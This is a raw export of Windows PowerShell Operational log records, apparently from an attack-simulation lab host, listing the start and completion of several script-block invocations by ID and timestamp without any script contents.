52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988103 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988102 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988101 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988100 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988099 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988098 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988097 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988096 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988095 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988094 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988113 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988112 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988111 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988110 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988109 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988108 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988107 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988106 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988105 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988104 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988123 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988122 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988121 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988120 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988119 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988118 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988117 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988116 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988115 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988114 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988133 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988132 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988131 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988130 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988129 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988128 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988127 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988126 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988125 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988124 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988143 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988142 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988141 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988140 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988139 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988138 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988137 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988136 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988135 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988134 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988153 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988152 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988151 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988150 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988149 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:08:18 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED 